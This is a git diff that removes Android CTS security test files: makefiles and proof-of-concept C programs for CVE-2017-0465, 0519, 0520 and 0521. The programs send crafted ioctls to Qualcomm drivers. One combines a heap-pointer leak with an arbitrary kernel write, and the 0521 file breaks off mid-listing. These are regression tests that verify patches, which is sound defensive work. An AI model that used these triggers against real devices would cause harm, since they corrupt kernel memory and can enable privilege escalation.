-#define _IOC_SIZEMASK   ((1 << _IOC_SIZEBITS)-1)
-#define _IOC_DIRMASK    ((1 << _IOC_DIRBITS)-1)
-
-#define _IOC_NRSHIFT    0
-#define _IOC_TYPESHIFT  (_IOC_NRSHIFT+_IOC_NRBITS)
-#define _IOC_SIZESHIFT  (_IOC_TYPESHIFT+_IOC_TYPEBITS)
-#define _IOC_DIRSHIFT   (_IOC_SIZESHIFT+_IOC_SIZEBITS)
-
-/*
- * Direction bits, which any architecture can choose to override
- * before including this file.
- */
-
-#ifndef _IOC_NONE
-# define _IOC_NONE      0U
-#endif
-
-#ifndef _IOC_WRITE
-# define _IOC_WRITE     1U
-#endif
-
-#ifndef _IOC_READ
-# define _IOC_READ      2U
-#endif
-
-#define _IOC_TYPECHECK(t) (sizeof(t))
-#define _IOC(dir,type,nr,size) \
-        (((dir)  << _IOC_DIRSHIFT) | \
-         ((type) << _IOC_TYPESHIFT) | \
-         ((nr)   << _IOC_NRSHIFT) | \
-         ((size) << _IOC_SIZESHIFT))
-
-/* used to create numbers */
-#define _IO(type,nr)            _IOC(_IOC_NONE,(type),(nr),0)
-#define _IOR(type,nr,size)      _IOC(_IOC_READ,(type),(nr),(_IOC_TYPECHECK(size)))
-#define _IOW(type,nr,size)      _IOC(_IOC_WRITE,(type),(nr),(_IOC_TYPECHECK(size)))
-#define _IOWR(type,nr,size)     _IOC(_IOC_READ|_IOC_WRITE,(type),(nr),(_IOC_TYPECHECK(size)))
-
-#endif
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0465/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0465/poc.c
deleted file mode 100644
index f92f5ba..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0465/poc.c
+++ /dev/null
@@ -1,88 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-#include "local_poc.h"
-#include <sys/wait.h>
-#include <errno.h>
-#include <fcntl.h>
-#include <stdio.h>
-#include <sys/mman.h>
-#include <sys/socket.h>
-#include <sys/stat.h>
-#include <time.h>
-#include <sys/types.h>
-#include <string.h>
-#include <stdlib.h>
-#include <unistd.h>
-
-struct remote_buf {
-  void *pv;    /* buffer pointer */
-  ssize_t len; /* length of buffer */
-};
-
-union remote_arg {
-  struct remote_buf buf; /* buffer info */
-  uint32_t h;            /* remote handle */
-};
-
-#define remote_arg_t union remote_arg
-
-struct fastrpc_ioctl_invoke {
-  uint32_t handle;   /* remote handle */
-  uint32_t sc;       /* scalars describing the data */
-  remote_arg_t *pra; /* remote arguments list */
-};
-
-struct fastrpc_ioctl_invoke_fd {
-  struct fastrpc_ioctl_invoke inv;
-  int *fds; /* fd list */
-};
-
-#define FASTRPC_IOCTL_INVOKE_FD _IOWR('R', 4, struct fastrpc_ioctl_invoke_fd)
-
-int main(int argc, char **argv) {
-  int fd;
-  int ret, i;
-  struct fastrpc_ioctl_invoke_fd arg;
-  struct fastrpc_ioctl_invoke *inv;
-  void *ptr;
-
-  unsigned long long seed = 13234300;
-  srand((unsigned)seed);
-  fd = open("/dev/adsprpc-smd", O_RDONLY);
-
-  ptr = malloc(0xFFFF);
-
-  arg.fds = NULL;
-  inv = &arg.inv;
-
-  inv->sc = 0x00020111;
-  inv->pra = (remote_arg_t *)malloc(4 * sizeof(remote_arg_t));
-  inv->pra[0].buf.pv = ptr;
-  inv->pra[0].buf.len = 0x0000FFFF;
-
-  memset(inv->pra[0].buf.pv, 0xFF, 0xFFFF);
-  inv->pra[1].buf.pv = ptr;
-  inv->pra[1].buf.len = 0x0000FFFF;
-
-  inv->pra[2].buf.pv = (void*)((char *)inv->pra[0].buf.pv + 0xFFFF - 128);
-  inv->pra[2].buf.len = (unsigned long)0xFFFFFFFFFFFFFFFF -
-                        (unsigned long)inv->pra[2].buf.pv + 128;
-
-  ret = ioctl(fd, FASTRPC_IOCTL_INVOKE_FD, &arg);
-
-  return 0;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0519/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0519/Android.mk
deleted file mode 100644
index ca3ffb6..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0519/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2017-0519
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined
-LOCAL_CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LOCAL_LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
-
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0519/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0519/poc.c
deleted file mode 100644
index 767a671..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0519/poc.c
+++ /dev/null
@@ -1,253 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#define _GNU_SOURCE
-#include <errno.h>
-#include <fcntl.h>
-#include <pthread.h>
-#include <stdbool.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <sys/ioctl.h>
-#include <sys/socket.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <unistd.h>
-
-static const char *dev = "/dev/qbt1000";
-
-#define QBT1000_SNS_SERVICE_ID 0x138 /* From sns_common_v01.idl */
-#define QBT1000_SNS_SERVICE_VER_ID 1
-#define QBT1000_SNS_INSTANCE_INST_ID 0
-
-#define SNS_QFP_OPEN_RESP_V01 0x0020
-
-#define QMI_REQUEST_CONTROL_FLAG 0x00
-#define QMI_RESPONSE_CONTROL_FLAG 0x02
-#define QMI_INDICATION_CONTROL_FLAG 0x04
-#define QMI_HEADER_SIZE 7
-
-#define OPTIONAL_TLV_TYPE_START 0x10
-
-enum elem_type {
-  QMI_OPT_FLAG = 1,
-  QMI_DATA_LEN,
-  QMI_UNSIGNED_1_BYTE,
-  QMI_UNSIGNED_2_BYTE,
-  QMI_UNSIGNED_4_BYTE,
-  QMI_UNSIGNED_8_BYTE,
-  QMI_SIGNED_2_BYTE_ENUM,
-  QMI_SIGNED_4_BYTE_ENUM,
-  QMI_STRUCT,
-  QMI_STRING,
-  QMI_EOTI,
-};
-
-volatile int cont = 1;
-
-struct qmi_header {
-  unsigned char cntl_flag;
-  uint16_t txn_id;
-  uint16_t msg_id;
-  uint16_t msg_len;
-} __attribute__((__packed__));
-
-struct qseecom_handle {
-  void *dev;
-  unsigned char *sbuf;
-  uint32_t sbuf_len;
-};
-
-enum qbt1000_commands {
-  QBT1000_LOAD_APP = 100,
-  QBT1000_UNLOAD_APP = 101,
-  QBT1000_SEND_TZCMD = 102
-};
-
-struct qbt1000_app {
-  struct qseecom_handle **app_handle;
-  char name[32];
-  uint32_t size;
-  uint8_t high_band_width;
-};
-
-struct qbt1000_send_tz_cmd {
-  struct qseecom_handle *app_handle;
-  uint8_t *req_buf;
-  uint32_t req_buf_len;
-  uint8_t *rsp_buf;
-  uint32_t rsp_buf_len;
-};
-
-struct msm_ipc_port_addr {
-  uint32_t node_id;
-  uint32_t port_id;
-};
-
-struct msm_ipc_port_name {
-  uint32_t service;
-  uint32_t instance;
-};
-
-struct msm_ipc_addr {
-  unsigned char addrtype;
-  union {
-    struct msm_ipc_port_addr port_addr;
-    struct msm_ipc_port_name port_name;
-  } addr;
-};
-
-/*
- * Socket API
- */
-
-#define AF_MSM_IPC 27
-
-#define PF_MSM_IPCAF_MSM_IPC
-
-#define MSM_IPC_ADDR_NAME 1
-#define MSM_IPC_ADDR_ID 2
-
-struct sockaddr_msm_ipc {
-  unsigned short family;
-  struct msm_ipc_addr address;
-  unsigned char reserved;
-};
-
-struct qbt1000_app app = {0, {0}, 0, 0};
-
-static int get_fd(const char *dev_node) {
-  int fd;
-  fd = open(dev_node, O_RDWR);
-  if (fd < 0) {
-    cont = 0;
-    exit(EXIT_FAILURE);
-  }
-
-  return fd;
-}
-
-static void leak_heap_ptr(int fd) {
-  void *addr = NULL;
-  app.app_handle = (void *)&addr;
-  app.size = 32;
-  ioctl(fd, QBT1000_LOAD_APP, &app);
-}
-
-static void arb_kernel_write_send_tzcmd(int fd) {
-  struct qseecom_handle hdl = {0, 0, 0};
-  struct qbt1000_send_tz_cmd cmd = {0, 0, 0, 0, 0};
-
-  hdl.sbuf = (void *)0xABADACCE55000000;
-  cmd.app_handle = &hdl;
-  cmd.req_buf = cmd.rsp_buf = malloc(4096);
-  cmd.req_buf_len = cmd.rsp_buf_len = 4096;
-
-  ioctl(fd, QBT1000_SEND_TZCMD, &cmd);
-}
-
-static void recv_msgs(int fd) {
-  struct msghdr msg = {0, 0, 0, 0, 0, 0, 0};
-  struct iovec io = {0, 0};
-  struct sockaddr_msm_ipc addr = {0, {0, {{0, 0}}}, 0};
-  struct msm_ipc_addr address = {0, {{0, 0}}};
-  uint8_t *ptr;
-  struct qmi_header *hdr;
-  int count = 1;
-
-  io.iov_base = malloc(4096);
-  memset(io.iov_base, 0, 4096);
-  io.iov_len = 4096;
-
-  msg.msg_iovlen = 1;
-  msg.msg_iov = &io;
-  msg.msg_name = &addr;
-  msg.msg_namelen = sizeof(addr);
-
-  while (cont) {
-    recvmsg(fd, &msg, MSG_CMSG_CLOEXEC);
-    memset(io.iov_base, 0, 128);
-    hdr = io.iov_base;
-
-    hdr->cntl_flag = QMI_RESPONSE_CONTROL_FLAG;
-    hdr->txn_id = count++;
-    hdr->msg_id = SNS_QFP_OPEN_RESP_V01;
-    hdr->msg_len = 3;
-
-    ptr = (uint8_t *)((char *)io.iov_base + sizeof(*hdr));
-
-    *ptr = OPTIONAL_TLV_TYPE_START;
-    ptr++;
-    *ptr = 0;
-    ptr++;
-    *ptr = 0;
-    sendmsg(fd, &msg, MSG_CMSG_CLOEXEC);
-  }
-}
-
-#define BUILD_INSTANCE_ID(vers, ins) (((vers)&0xFF) | (((ins)&0xFF) << 8))
-static void setup_ipc_server(void) {
-  int fd;
-  struct sockaddr_msm_ipc addr = {0, {0, {{0, 0}}}, 0};
-  fd = socket(AF_MSM_IPC, SOCK_DGRAM, 0);
-
-  if (fd < 0) {
-    exit(EXIT_FAILURE);
-  }
-
-  addr.family = AF_MSM_IPC;
-  addr.address.addrtype = MSM_IPC_ADDR_NAME;
-  addr.address.addr.port_name.service = QBT1000_SNS_SERVICE_ID;
-  addr.address.addr.port_name.instance = BUILD_INSTANCE_ID(
-      QBT1000_SNS_SERVICE_VER_ID, QBT1000_SNS_INSTANCE_INST_ID);
-
-  bind(fd, (struct sockaddr *)&addr, sizeof(addr));
-  recv_msgs(fd);
-}
-
-static void *leak_ptr(void *ignore) {
-  void *save;
-  while (cont) {
-    if (app.app_handle != NULL) {
-      save = *app.app_handle;
-      if (save != NULL) {
-        break;
-      }
-    }
-  }
-  return NULL;
-}
-
-static void *do_ipc_stuff(void *ignore) {
-  setup_ipc_server();
-  return NULL;
-}
-
-int main(void) {
-  int fd;
-  pthread_t race_car;
-  pthread_t race_car1;
-  pthread_create(&race_car, NULL, do_ipc_stuff, NULL);
-  usleep(50000);
-  fd = get_fd(dev);
-  pthread_create(&race_car1, NULL, leak_ptr, NULL);
-  usleep(1000);
-  leak_heap_ptr(fd);
-  arb_kernel_write_send_tzcmd(fd);
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0520/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0520/Android.mk
deleted file mode 100644
index 2a9b85c..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0520/Android.mk
+++ /dev/null
@@ -1,36 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2017-0520
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined
-LOCAL_CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LOCAL_LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0520/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0520/poc.c
deleted file mode 100644
index 756c50c..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0520/poc.c
+++ /dev/null
@@ -1,112 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#define _GNU_SOURCE
-#include <dirent.h>
-#include <dlfcn.h>
-#include <fcntl.h>
-#include <linux/sched.h>
-#include <pthread.h>
-#include <sched.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <sys/ioctl.h>
-#include <sys/mman.h>
-#include <sys/resource.h>
-#include <sys/stat.h>
-#include <sys/syscall.h>
-#include <sys/time.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <unistd.h>
-#include <unistd.h>
-
-void trigger_bug(void);
-int open_driver(void);
-
-struct buf_info {
-  union {
-    uint32_t offset;
-    uint8_t *vaddr;
-  };
-  uint32_t len;
-};
-
-enum qcedev_sha_alg_enum {
-  QCEDEV_ALG_SHA1 = 0,
-  QCEDEV_ALG_SHA256 = 1,
-  QCEDEV_ALG_SHA1_HMAC = 2,
-  QCEDEV_ALG_SHA256_HMAC = 3,
-  QCEDEV_ALG_AES_CMAC = 4,
-  QCEDEV_ALG_SHA_ALG_LAST
-};
-#define QCEDEV_MAX_BUFFERS 16
-#define QCEDEV_MAX_SHA_DIGEST 32
-struct qcedev_sha_op_req {
-  struct buf_info data[QCEDEV_MAX_BUFFERS];
-  uint32_t entries;
-  uint32_t data_len;
-  uint8_t digest[QCEDEV_MAX_SHA_DIGEST];
-  uint32_t diglen;
-  uint8_t *authkey;
-  uint32_t authklen;
-  enum qcedev_sha_alg_enum alg;
-};
-
-#define QCEDEV_IOC_MAGIC 0x87
-#define QCEDEV_IOCTL_SHA_UPDATE_REQ \
-  _IOWR(QCEDEV_IOC_MAGIC, 4, struct qcedev_sha_op_req)
-#define QCEDEV_IOCTL_SHA_INIT_REQ \
-  _IOWR(QCEDEV_IOC_MAGIC, 3, struct qcedev_sha_op_req)
-
-int g_fd = -1;
-
-int open_driver() {
-  char *dev_path = (char *)"/dev/qce";
-  g_fd = open(dev_path, O_RDWR);
-  return g_fd;
-}
-
-void trigger_bug() {
-  struct qcedev_sha_op_req req;
-
-  req.entries = 1;
-  req.data_len = 0x4000;
-
-  unsigned long *vaddr = (unsigned long *)malloc(0x1000);
-  vaddr[0] = 0;
-  vaddr[1] = (unsigned long)0xffffffffffffffff;
-  req.data[0].len = 0x4000;
-  req.data[0].vaddr = 0;
-
-  req.diglen = 0x1000;
-  req.authklen = 16;
-  req.authkey = (uint8_t *)"111111111111111";
-  req.alg = QCEDEV_ALG_AES_CMAC;
-
-  ioctl(g_fd, QCEDEV_IOCTL_SHA_UPDATE_REQ, &req);
-}
-
-int main(int argc, char **argv) {
-  setpriority(PRIO_PROCESS, gettid(), -19);
-  if (open_driver() < 0) {
-    return -1;
-  }
-
-  trigger_bug();
-  return 0;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0521/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0521/Android.mk
deleted file mode 100644
index c61f95f..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0521/Android.mk
+++ /dev/null
@@ -1,36 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2017-0521
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined
-LOCAL_CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LOCAL_LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0521/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0521/poc.c
deleted file mode 100644
index 11a3e94a..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0521/poc.c
+++ /dev/null
@@ -1,392 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-#include <sys/wait.h>
-#include <fcntl.h>
-#include <linux/ion.h>
-#include <linux/types.h>
-#include <linux/videodev2.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <sys/ioctl.h>
-#include <sys/mman.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <unistd.h>
-
-#define MAX_PLANES VIDEO_MAX_PLANES
-
-#define PARTIAL_FRAME_STRIPE_COUNT 4
-
-#define MAX_NUM_CPP_STRIPS 8
-#define MSM_CPP_MAX_NUM_PLANES 3
-#define MSM_CPP_MIN_FRAME_LENGTH 13
-#define MSM_CPP_MAX_FRAME_LENGTH 4096
-#define MSM_CPP_MAX_FW_NAME_LEN 32
-#define MAX_FREQ_TBL 10
-
-enum msm_cpp_frame_type {
-  MSM_CPP_OFFLINE_FRAME,
-  MSM_CPP_REALTIME_FRAME,
-};
-
-enum msm_vpe_frame_type {
-  MSM_VPE_OFFLINE_FRAME,
-  MSM_VPE_REALTIME_FRAME,
-};
-
-struct msm_cpp_buffer_info_t {
-  int32_t fd;
-  uint32_t index;
-  uint32_t offset;
-  uint8_t native_buff;
-  uint8_t processed_divert;
-  uint32_t identity;
-};
-
-struct msm_cpp_stream_buff_info_t {
-  uint32_t identity;
-  uint32_t num_buffs;
-  struct msm_cpp_buffer_info_t *buffer_info;
-};
-
-enum msm_cpp_batch_mode_t {
-  BATCH_MODE_NONE,
-  BATCH_MODE_VIDEO,
-  BATCH_MODE_PREVIEW
-};
-
-struct msm_cpp_batch_info_t {
-  enum msm_cpp_batch_mode_t batch_mode;
-  uint32_t batch_size;
-  uint32_t intra_plane_offset[MAX_PLANES];
-  uint32_t pick_preview_idx;
-  uint32_t cont_idx;
-};
-
-struct msm_cpp_frame_info_t {
-  int32_t frame_id;
-  struct timeval timestamp;
-  uint32_t inst_id;
-  uint32_t identity;
-  uint32_t client_id;
-  enum msm_cpp_frame_type frame_type;
-  uint32_t num_strips;
-  uint32_t msg_len;
-  uint32_t *cpp_cmd_msg;
-  int src_fd;
-  int dst_fd;
-  struct timeval in_time, out_time;
-  void __user *cookie;
-  int32_t *status;
-  int32_t duplicate_output;
-  uint32_t duplicate_identity;
-  uint32_t feature_mask;
-  uint8_t we_disable;
-  struct msm_cpp_buffer_info_t input_buffer_info;
-  struct msm_cpp_buffer_info_t output_buffer_info[8];
-  struct msm_cpp_buffer_info_t duplicate_buffer_info;
-  struct msm_cpp_buffer_info_t tnr_scratch_buffer_info[2];
-  uint32_t reserved;
-  uint8_t partial_frame_indicator;
-  uint8_t first_payload;
-  uint8_t last_payload;
-  uint32_t first_stripe_index;
-  uint32_t last_stripe_index;
-  uint32_t stripe_info_offset;
-  uint32_t stripe_info;
-  struct msm_cpp_batch_info_t batch_info;
-};
-
-struct msm_cpp_pop_stream_info_t {
-  int32_t frame_id;
-  uint32_t identity;
-};
-
-struct cpp_hw_info {
-  uint32_t cpp_hw_version;
-  uint32_t cpp_hw_caps;
-  unsigned long freq_tbl[MAX_FREQ_TBL];
-  uint32_t freq_tbl_count;
-};
-
-struct msm_vpe_frame_strip_info {
-  uint32_t src_w;
-  uint32_t src_h;
-  uint32_t dst_w;
-  uint32_t dst_h;
-  uint32_t src_x;
-  uint32_t src_y;
-  uint32_t phase_step_x;
-  uint32_t phase_step_y;
-  uint32_t phase_init_x;
-  uint32_t phase_init_y;
-};
-
-struct msm_vpe_buffer_info_t {
-  int32_t fd;
-  uint32_t index;
-  uint32_t offset;
-  uint8_t native_buff;
-  uint8_t processed_divert;
-};
-
-struct msm_vpe_stream_buff_info_t {
-  uint32_t identity;
-  uint32_t num_buffs;
-  struct msm_vpe_buffer_info_t *buffer_info;
-};
-
-struct msm_vpe_frame_info_t {
-  int32_t frame_id;
-  struct timeval timestamp;
-  uint32_t inst_id;
-  uint32_t identity;
-  uint32_t client_id;
-  enum msm_vpe_frame_type frame_type;
-  struct msm_vpe_frame_strip_info strip_info;
-  unsigned long src_fd;
-  unsigned long dst_fd;
-  struct ion_handle *src_ion_handle;
-  struct ion_handle *dest_ion_handle;
-  unsigned long src_phyaddr;
-  unsigned long dest_phyaddr;
-  unsigned long src_chroma_plane_offset;
-  unsigned long dest_chroma_plane_offset;
-  struct timeval in_time, out_time;
-  void *cookie;
-
-  struct msm_vpe_buffer_info_t input_buffer_info;
-  struct msm_vpe_buffer_info_t output_buffer_info;
-};
-
-enum msm_camera_buf_mngr_buf_type {
-  MSM_CAMERA_BUF_MNGR_BUF_PLANAR,
-  MSM_CAMERA_BUF_MNGR_BUF_USER,
-  MSM_CAMERA_BUF_MNGR_BUF_INVALID,
-};
-
-#define MSM_CAMERA_MAX_USER_BUFF_CNT 16
-struct msm_camera_user_buf_cont_t {
-  unsigned int buf_cnt;
-  unsigned int buf_idx[MSM_CAMERA_MAX_USER_BUFF_CNT];
-};
-
-struct msm_buf_mngr_info {
-  uint32_t session_id;
-  uint32_t stream_id;
-  uint32_t frame_id;
-  struct timeval timestamp;
-  uint32_t index;
-  uint32_t reserved;
-  enum msm_camera_buf_mngr_buf_type type;
-  struct msm_camera_user_buf_cont_t user_buf;
-};
-
-struct msm_pproc_queue_buf_info {
-  struct msm_buf_mngr_info buff_mgr_info;
-  uint8_t is_buf_dirty;
-};
-
-struct msm_cpp_clock_settings_t {
-  unsigned long clock_rate;
-  uint64_t avg;
-  uint64_t inst;
-};
-
-#define VIDIOC_MSM_CPP_CFG \
-  _IOWR('V', BASE_VIDIOC_PRIVATE, struct msm_camera_v4l2_ioctl_t)
-
-#define VIDIOC_MSM_CPP_GET_EVENTPAYLOAD \
-  _IOWR('V', BASE_VIDIOC_PRIVATE + 1, struct msm_camera_v4l2_ioctl_t)
-
-#define VIDIOC_MSM_CPP_GET_INST_INFO \
-  _IOWR('V', BASE_VIDIOC_PRIVATE + 2, struct msm_camera_v4l2_ioctl_t)
-
-#define VIDIOC_MSM_CPP_LOAD_FIRMWARE \
-  _IOWR('V', BASE_VIDIOC_PRIVATE + 3, struct msm_camera_v4l2_ioctl_t)
-
-#define VIDIOC_MSM_CPP_GET_HW_INFO \
-  _IOWR('V', BASE_VIDIOC_PRIVATE + 4, struct msm_camera_v4l2_ioctl_t)
-
-#define VIDIOC_MSM_CPP_FLUSH_QUEUE \
-  _IOWR('V', BASE_VIDIOC_PRIVATE + 5, struct msm_camera_v4l2_ioctl_t)
-
-#define VIDIOC_MSM_CPP_ENQUEUE_STREAM_BUFF_INFO \
-  _IOWR('V', BASE_VIDIOC_PRIVATE + 6, struct msm_camera_v4l2_ioctl_t)
-
-#define VIDIOC_MSM_CPP_DEQUEUE_STREAM_BUFF_INFO \
-  _IOWR('V', BASE_VIDIOC_PRIVATE + 7, struct msm_camera_v4l2_ioctl_t)
-
-#define VIDIOC_MSM_VPE_CFG \
-  _IOWR('V', BASE_VIDIOC_PRIVATE + 8, struct msm_camera_v4l2_ioctl_t)
-
-#define VIDIOC_MSM_VPE_TRANSACTION_SETUP \
-  _IOWR('V', BASE_VIDIOC_PRIVATE + 9, struct msm_camera_v4l2_ioctl_t)
-
-#define VIDIOC_MSM_VPE_GET_EVENTPAYLOAD \
-  _IOWR('V', BASE_VIDIOC_PRIVATE + 10, struct msm_camera_v4l2_ioctl_t)
-
-#define VIDIOC_MSM_VPE_GET_INST_INFO \
-  _IOWR('V', BASE_VIDIOC_PRIVATE + 11, struct msm_camera_v4l2_ioctl_t)
-
-#define VIDIOC_MSM_VPE_ENQUEUE_STREAM_BUFF_INFO \
-  _IOWR('V', BASE_VIDIOC_PRIVATE + 12, struct msm_camera_v4l2_ioctl_t)
-
-#define VIDIOC_MSM_VPE_DEQUEUE_STREAM_BUFF_INFO \
-  _IOWR('V', BASE_VIDIOC_PRIVATE + 13, struct msm_camera_v4l2_ioctl_t)
-
-#define VIDIOC_MSM_CPP_QUEUE_BUF \
-  _IOWR('V', BASE_VIDIOC_PRIVATE + 14, struct msm_camera_v4l2_ioctl_t)
-
-#define VIDIOC_MSM_CPP_APPEND_STREAM_BUFF_INFO \
-  _IOWR('V', BASE_VIDIOC_PRIVATE + 15, struct msm_camera_v4l2_ioctl_t)
-
